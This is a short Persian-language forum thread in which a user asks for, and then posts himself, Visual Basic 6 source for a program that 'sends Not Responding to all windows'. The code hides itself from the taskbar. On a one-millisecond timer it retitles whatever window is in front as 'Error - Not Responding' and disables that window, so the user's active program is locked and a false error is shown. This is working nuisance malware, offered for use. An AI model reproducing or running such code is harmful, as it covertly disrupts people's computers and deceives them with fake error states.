درخواست سورس ارسال Not Responding به پنجره ها

[DoctorJay]

چند وقت پیشا این فایل رو از سایت برنامه نویس دانلود کردم اما نیست و نابود شده !!!

حالا هم هرچی Search کردم پیداش نکردم .

اگه کسی از وجود این فایل اطلاعی داره لینکشو به من بده .

ممنون میشم

[DoctorJay]

اصلا خوب نیست آدمی حافظش ضعیف بشه !!!

کد چیزی که درخواستشو دادم توی سیستم خودم بود و من این کد رو از برنامه نویس

نگرفته بودم !!

اینم کد ارسال Not Responding به همه ی پنجره ها :

' Code Sample  

Private Declare Function GetForegroundWindow Lib "user32" Alias "GetForegroundWindow" () As Long

Private Declare Function SetWindowText Lib "user32" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long

Private Declare Function EnableWindow Lib "user32" Alias "EnableWindow" (ByVal hwnd As Long, ByVal fEnable As Long) As Long



Private Sub Form_Load()

App.TaskVisible = False

Timer1.Interval = 1

Timer1.Enabled = True

End Sub



Private Sub Timer1_Timer()

Dim TheWnd As Long, Txt As String

Txt = "Error - Not Responding"

TheWnd = GetForegroundWindow

Call SetWindowText(TheWnd, Txt)

Call EnableWindow(TheWnd, 0)

End Sub